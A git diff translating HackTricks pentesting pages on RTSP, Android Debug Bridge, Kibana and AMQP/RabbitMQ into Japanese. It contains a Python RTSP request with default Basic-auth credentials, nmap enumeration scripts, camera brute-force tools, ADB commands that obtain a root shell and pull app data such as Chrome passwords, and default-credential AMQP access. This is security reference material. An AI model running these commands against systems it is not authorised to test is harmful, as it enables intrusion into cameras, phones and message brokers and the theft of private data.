+再度、リクエストは二重の「\r\n」で終了することに注意してください。 +値YWRtaW46MTIzNA==は、ユーザー名とパスワードを「:」で連結したものをBase64エンコードしたものです。この場合、私は「admin」/「1234」を使用しました。これを試すための簡単なPythonスクリプトは次のようになります: ```python import socket req = "DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n" @@ -64,46 +61,43 @@ s.sendall(req) data = s.recv(1024) print(data) ``` - -Voila! You have access. +以下は、RTSPのペネトレーションテストに関する情報です。 **From:** [**http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/**](https://web.archive.org/web/20161020202643/http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/) -## Enumeration - -Lets get information about valid methods and URLs are supported and try to brute-force the access (if needed) to get access to the content. +## 列挙 +有効なメソッドとURLがサポートされているかどうかの情報を取得し、必要に応じてアクセスをブルートフォースしてコンテンツにアクセスします。 ```bash nmap -sV --script "rtsp-*" -p ``` +### [ブルートフォース](../generic-methodologies-and-resources/brute-force.md#rtsp) -### [Brute Force](../generic-methodologies-and-resources/brute-force.md#rtsp) +### **その他の便利なプログラム** -### **Other useful programs** - -To bruteforce: [https://github.com/Tek-Security-Group/rtsp\_authgrinder](https://github.com/Tek-Security-Group/rtsp\_authgrinder) +ブルートフォース攻撃に使用する: [https://github.com/Tek-Security-Group/rtsp\_authgrinder](https://github.com/Tek-Security-Group/rtsp\_authgrinder) **Cameradar** -Cameradar allows you to: +Cameradarを使用すると、以下のことができます: -* Detect open RTSP hosts on any accessible target -* Get their public info (hostname, port, camera model, etc.) -* Launch automated dictionary attacks to get their stream route (for example /live.sdp) -* Launch automated dictionary attacks to get the username and password of the cameras -* Generate thumbnails from them to check if the streams are valid and to have a quick preview of their content -* Try to create a Gstreamer pipeline to check if they are properly encoded -* Print a summary of all the informations Cameradar could get +* アクセス可能なターゲット上のオープンなRTSPホストを検出する +* パブリック情報(ホスト名、ポート、カメラモデルなど)を取得する +* ストリームルート(例:/live.sdp)を取得するための自動辞書攻撃を実行する +* カメラのユーザー名とパスワードを取得するための自動辞書攻撃を実行する +* ストリームが有効かどうかを確認し、その内容のクイックプレビューのためにサムネイルを生成する +* 正しくエンコードされているかを確認するためにGstreamerパイプラインを作成しようとする +* Cameradarが取得できたすべての情報の要約を表示する * [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
diff --git a/network-services-pentesting/5555-android-debug-bridge.md b/network-services-pentesting/5555-android-debug-bridge.md index 55a143b41..ffdd89657 100644 --- a/network-services-pentesting/5555-android-debug-bridge.md +++ b/network-services-pentesting/5555-android-debug-bridge.md @@ -4,57 +4,51 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**するか、[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Basic Information +## 基本情報 -**Android Debug Bridge** (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as i**nstalling and debugging apps**, and it provides **access to a Unix shell** that you can use to run a variety of commands on a device. (from [here](https://developer.android.com/studio/command-line/adb)) - -**Default port**: 5555. +**Android Debug Bridge**(adb)は、デバイスとの通信を可能にする多目的なコマンドラインツールです。 adbコマンドは、**アプリのインストールやデバッグ**など、さまざまなデバイスアクションを容易にし、デバイス上でさまざまなコマンドを実行するために使用できる**Unixシェルへのアクセス**を提供します。 ([ここから](https://developer.android.com/studio/command-line/adb)) +**デフォルトポート**:5555。 ``` PORT STATE SERVICE VERSION 5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909) ``` +## 接続 -## Connect - -If find the ADB service running in a port of a device and you can connect to it, **you can get a shell inside the system:** - +もしデバイスのポートで実行されているADBサービスを見つけ、それに接続できる場合、**システム内にシェルを取得することができます:** ```bash adb connect 10.10.10.10 adb root # Try to escalate to root adb shell ``` - -For more ADB commands check the following page: +以下のページでさらにADBコマンドを確認してください: {% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %} [adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md) {% endcontent-ref %} -### Dump App data - -In order to completely download the data of an application you can: +### アプリデータのダンプ +アプリケーションのデータを完全にダウンロードするには、次の手順を実行します: ```bash # From a root console chmod 777 /data/data/com.package cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data. adb pull "/sdcard/com.package" ``` - -You can use this trick to **retrieve sensitive information like chrome passwords**. For more info about this check the information a references provided [**here**](https://github.com/carlospolop/hacktricks/issues/274). +このトリックを使用すると、**Chromeのパスワードなどの機密情報を取得**することができます。詳細については、[**こちら**](https://github.com/carlospolop/hacktricks/issues/274)の情報と参考文献をご覧ください。 ## Shodan @@ -64,14 +58,14 @@ You can use this trick to **retrieve sensitive information like chrome passwords ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** diff --git a/network-services-pentesting/5601-pentesting-kibana.md b/network-services-pentesting/5601-pentesting-kibana.md index 97d663767..0bb009310 100644 --- a/network-services-pentesting/5601-pentesting-kibana.md +++ b/network-services-pentesting/5601-pentesting-kibana.md @@ -1,45 +1,43 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Basic Information +# 基本情報 -Kibana provides search and data visualization capabilities for data indexed in Elasticsearch. The service runs per default on port **5601**. Kibana also acts as the user interface for monitoring, managing, and securing an Elastic Stack cluster. +Kibanaは、Elasticsearchにインデックスされたデータの検索とデータの可視化機能を提供します。このサービスはデフォルトでポート**5601**で実行されます。Kibanaはまた、Elastic Stackクラスタの監視、管理、およびセキュリティのユーザーインターフェースとしても機能します。 -## Authentication? +## 認証? -Authentication in Kibana is linked to the **credentials from** [**Elasticsearch**](9200-pentesting-elasticsearch.md). If **authentication** is **disabled** in **Elasticsearch**, **Kibana** also should be **accessible without credentials**. Otherwise the **same credentials valid for Elasticsearch** should be working when logging in to Kibana. The **rights** of the **users** in **Elasticsearch** are the **same** as in **Kibana**. +Kibanaの認証は、[**Elasticsearch**](9200-pentesting-elasticsearch.md)の**資格情報**にリンクしています。**Elasticsearch**で**認証が無効**になっている場合、**Kibana**も**資格情報なしでアクセス可能**であるはずです。それ以外の場合、Kibanaにログインする際には、**Elasticsearchで有効な同じ資格情報**が機能するはずです。**Elasticsearch**の**ユーザー**の**権限**は、**Kibana**と同じです。 -You might find credentials in the configuration file **/etc/kibana/kibana.yml**. If those credentials are not for the user **kibana\_system**, it should be tried to use them for accessing further data. They could have more rights then the **kibana\_system** user, which only has access to the monitoring API and the **.kibana** index. +設定ファイル**/etc/kibana/kibana.yml**に資格情報が記載されている場合があります。これらの資格情報が**kibana\_system**ユーザーのものでない場合、それらを使用してさらなるデータにアクセスしようとする必要があります。これらの資格情報には、モニタリングAPIと**.kibana**インデックスへのアクセス権しかない**kibana\_system**ユーザーよりも多くの権限があるかもしれません。 -## Having Access? +## アクセス権を持っていますか? -When having access to Kibana you can do several things: +Kibanaにアクセス権がある場合、次のことができます: -* Try to **access data** from **Elasticsearch** -* Check if you can access the users panel and if you can e**dit, delete or create new users,** roles or API Keys (Stack Management -> Users/Roles/API Keys) -* Check the current version for vulnerabilities (**There was a RCE vulnerability in 2019 for Kibana versions < 6.6.0** \[[2](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)]) +* **Elasticsearch**からデータにアクセスしようとする +* ユーザーパネルにアクセスできるかどうか、**ユーザー、ロール、APIキーを編集、削除、作成**できるかどうかを確認する(Stack Management -> Users/Roles/API Keys) +* 現在のバージョンをチェックして脆弱性を確認する(**2019年にKibanaバージョン<6.6.0にRCEの脆弱性が存在しました** \[[2](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)]) -## Enabled SSL/TLS? +## SSL/TLSは有効ですか? -If SSL/TLS is not enabled, it should be evaluated, whether sensitive information can be leaked. +SSL/TLSが有効でない場合、機密情報が漏洩する可能性があるかどうかを評価する必要があります。 -## References +## 参考文献 * [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/) @@ -48,16 +46,14 @@ If SSL/TLS is not enabled, it should be evaluated, whether sensitive information ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/network-services-pentesting/5671-5672-pentesting-amqp.md b/network-services-pentesting/5671-5672-pentesting-amqp.md index a63ae71aa..16b5a272e 100644 --- a/network-services-pentesting/5671-5672-pentesting-amqp.md +++ b/network-services-pentesting/5671-5672-pentesting-amqp.md @@ -1,57 +1,73 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Basic Information +# 基本情報 -**RabbitMQ** is a **message-queueing software** also known as a _message broker_ or _queue manager._ Simply said; it is software where queues are defined, to which applications connect in order to transfer a message or messages.\ -A **message can include any kind of information**. It could, for example, have information about a process or task that should start on another application (which could even be on another server), or it could be just a simple text message. The queue-manager software stores the messages until a receiving application connects and takes a message off the queue. The receiving application then processes the message.\ -Definition from [here](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html). - -**Default port**: 5672,5671 +**RabbitMQ**は、_メッセージキューソフトウェア_としても知られる_メッセージブローカー_または_キューマネージャー_です。簡単に言えば、アプリケーションがメッセージを転送するために接続するキューが定義されているソフトウェアです。\ +**メッセージには任意の情報が含まれる**ことができます。たとえば、別のアプリケーション(別のサーバー上にある場合もあります)で開始するプロセスやタスクに関する情報が含まれる場合もありますし、単純なテキストメッセージの場合もあります。キューマネージャーソフトウェアは、メッセージを受信するアプリケーションが接続し、キューからメッセージを取り出すまでメッセージを保存します。受信するアプリケーションは、その後、メッセージを処理します。\ +[ここ](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html)からの定義。 +**デフォルトポート**: 5672,5671 ``` PORT STATE SERVICE VERSION 5672/tcp open amqp RabbitMQ 3.1.5 (0-9) ``` +# 列挙 -# Enumeration - -## Manual - +## 手動 ```python import amqp #By default it uses default credentials "guest":"guest" conn = amqp.connection.Connection(host="", port=5672, virtual_host="/") conn.connect() for k, v in conn.server_properties.items(): - print(k, v) +print(k, v) ``` +## 自動 -## Automatic +AMQP (Advanced Message Queuing Protocol)は、メッセージ指向ミドルウェアのためのオープンなプロトコルです。AMQPは、メッセージの送信、受信、およびキューイングをサポートし、異なるアプリケーション間での効率的な通信を可能にします。 +AMQPのポート番号は、5671と5672です。通常、5672番ポートが使用されますが、TLS/SSLで保護された接続が必要な場合は、5671番ポートを使用します。 + +AMQPのペンテストでは、以下のような攻撃手法が使用されます。 + +- ポートスキャン:AMQPサーバーのポートをスキャンして、開いているポートを特定します。 +- デフォルトの認証情報:デフォルトのユーザー名とパスワードを使用してAMQPサーバーにログインします。 +- ユーザー列挙:有効なユーザー名を特定するために、ユーザー名の列挙を試みます。 +- パスワード攻撃:既知のユーザー名に対してパスワード攻撃を実行し、正しいパスワードを特定します。 +- メッセージの傍受:AMQPメッセージを傍受して、機密情報を取得します。 +- メッセージの改ざん:AMQPメッセージを改ざんして、攻撃者が意図した操作を実行します。 + +AMQPのセキュリティを向上させるためには、以下の対策を実施することが重要です。 + +- ポートの制限:不要なポートを閉じるか、必要なポートのみを開くようにします。 +- 強力な認証情報:デフォルトのユーザー名とパスワードを変更し、強力なパスワードポリシーを実施します。 +- ユーザー名の列挙の防止:エラーメッセージにユーザー名の情報を含めないようにします。 +- パスワード攻撃の防止:アカウントロックアウトやCAPTCHAなどの対策を実施します。 +- 暗号化の使用:TLS/SSLを使用して通信を暗号化します。 + +AMQPのペンテストでは、これらの攻撃手法と対策を理解し、適切なセキュリティ対策を実施することが重要です。 ```bash nmap -sV -Pn -n -T4 -p 5672 --script amqp-info PORT STATE SERVICE VERSION 5672/tcp open amqp RabbitMQ 3.1.5 (0-9) -| amqp-info: -| capabilities: +| amqp-info: +| capabilities: | publisher_confirms: YES | exchange_exchange_bindings: YES | basic.nack: YES @@ -64,41 +80,21 @@ PORT STATE SERVICE VERSION | mechanisms: PLAIN AMQPLAIN |_ locales: en_US ``` +# その他のRabbitMQポート -# Other RabbitMQ ports +[https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html)から、**RabbitMQはいくつかのポートを使用**していることがわかります。 -From [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) you can find that **rabbitmq uses several ports**: - -* **1883, 8883**: ([MQTT clients](http://mqtt.org) without and with TLS, if the [MQTT plugin](https://www.rabbitmq.com/mqtt.html) is enabled. [**Learn more about how to pentest MQTT here**](1883-pentesting-mqtt-mosquitto.md). -* **4369: epmd**, a peer discovery service used by RabbitMQ nodes and CLI tools. [**Learn more about how to pentest this service here**](4369-pentesting-erlang-port-mapper-daemon-epmd.md). -* **5672, 5671**: used by AMQP 0-9-1 and 1.0 clients without and with TLS -* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) clients, [management UI](https://www.rabbitmq.com/management.html) and [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (only if the [management plugin](https://www.rabbitmq.com/management.html) is enabled). [**Learn more about how to pentest this service here**](15672-pentesting-rabbitmq-management.md). -* 15674: STOMP-over-WebSockets clients (only if the [Web STOMP plugin](https://www.rabbitmq.com/web-stomp.html) is enabled) -* 15675: MQTT-over-WebSockets clients (only if the [Web MQTT plugin](https://www.rabbitmq.com/web-mqtt.html) is enabled) -* 15692: Prometheus metrics (only if the [Prometheus plugin](https://www.rabbitmq.com/prometheus.html) is enabled) -* 25672: used for inter-node and CLI tools communication (Erlang distribution server port) and is allocated from a dynamic range (limited to a single port by default, computed as AMQP port + 20000). Unless external connections on these ports are really necessary (e.g. the cluster uses [federation](https://www.rabbitmq.com/federation.html) or CLI tools are used on machines outside the subnet), these ports should not be publicly exposed. See [networking guide](https://www.rabbitmq.com/networking.html) for details. **Only 9 of these ports opened on the internet**. -* 35672-35682: used by CLI tools (Erlang distribution client ports) for communication with nodes and is allocated from a dynamic range (computed as server distribution port + 10000 through server distribution port + 10010). See [networking guide](https://www.rabbitmq.com/networking.html) for details. -* 61613, 61614: [STOMP clients](https://stomp.github.io/stomp-specification-1.2.html) without and with TLS (only if the [STOMP plugin](https://www.rabbitmq.com/stomp.html) is enabled). Less than 10 devices with this port open and mostly UDP for DHT nodes. +* **1883、8883**: ([MQTTクライアント](http://mqtt.org)(MQTTプラグインが有効な場合はTLSなしとTLSあり)。[**MQTTのペントestingの詳細はこちら**](1883-pentesting-mqtt-mosquitto.md)を参照してください。 +* **4369: epmd**: RabbitMQノードとCLIツールによって使用されるピアディスカバリーサービス。[**このサービスのペントestingの詳細はこちら**](4369-pentesting-erlang-port-mapper-daemon-epmd.md)を参照してください。 +* **5672、5671**: AMQP 0-9-1および1.0クライアントがTLSなしおよびTLSありで使用するポート +* **15672**: [HTTP API](https://www.rabbitmq.com/management.html)クライアント、[管理UI](https://www.rabbitmq.com/management.html)、および[rabbitmqadmin](https://www.rabbitmq.com/management-cli.html)([管理プラグイン](https://www.rabbitmq.com/management.html)が有効な場合のみ)。[**このサービスのペントestingの詳細はこちら**](15672-pentesting-rabbitmq-management.md)を参照してください。 +* 15674: STOMP-over-WebSocketsクライアント([Web STOMPプラグイン](https://www.rabbitmq.com/web-stomp.html)が有効な場合のみ) +* 15675: MQTT-over-WebSocketsクライアント([Web MQTTプラグイン](https://www.rabbitmq.com/web-mqtt.html)が有効な場合のみ) +* 15692: Prometheusメトリクス([Prometheusプラグイン](https://www.rabbitmq.com/prometheus.html)が有効な場合のみ) +* 25672: ノード間およびCLIツールの通信に使用される(Erlangディストリビューションサーバーポート)であり、動的範囲から割り当てられる(デフォルトでは単一のポートに制限され、AMQPポート+20000で計算される)。これらのポートへの外部接続が本当に必要でない限り(クラスタが[federation](https://www.rabbitmq.com/federation.html)を使用している場合や、サブネット外のマシンでCLIツールを使用している場合など)、これらのポートは公開されるべきではありません。詳細については、[ネットワーキングガイド](https://www.rabbitmq.com/networking.html)を参照してください。**これらのポートのうち、インターネット上で開かれているのは9つだけです**。 +* 35672-35682: ノードとの通信に使用されるCLIツール(Erlangディストリビューションクライアントポート)であり、動的範囲から割り当てられる(サーバーディストリビューションポート+10000からサーバーディストリビューションポート+10010まで)。詳細については、[ネットワーキングガイド](https://www.rabbitmq.com/networking.html)を参照してください。 +* 61613、61614: STOMPクライアント([STOMPプラグイン](https://www.rabbitmq.com/stomp.html)が有効な場合のみ、TLSなしとTLSあり)(このポートが開いているデバイスは10台未満で、ほとんどがDHTノード用のUDPです)。 # Shodan * `AMQP` - - -
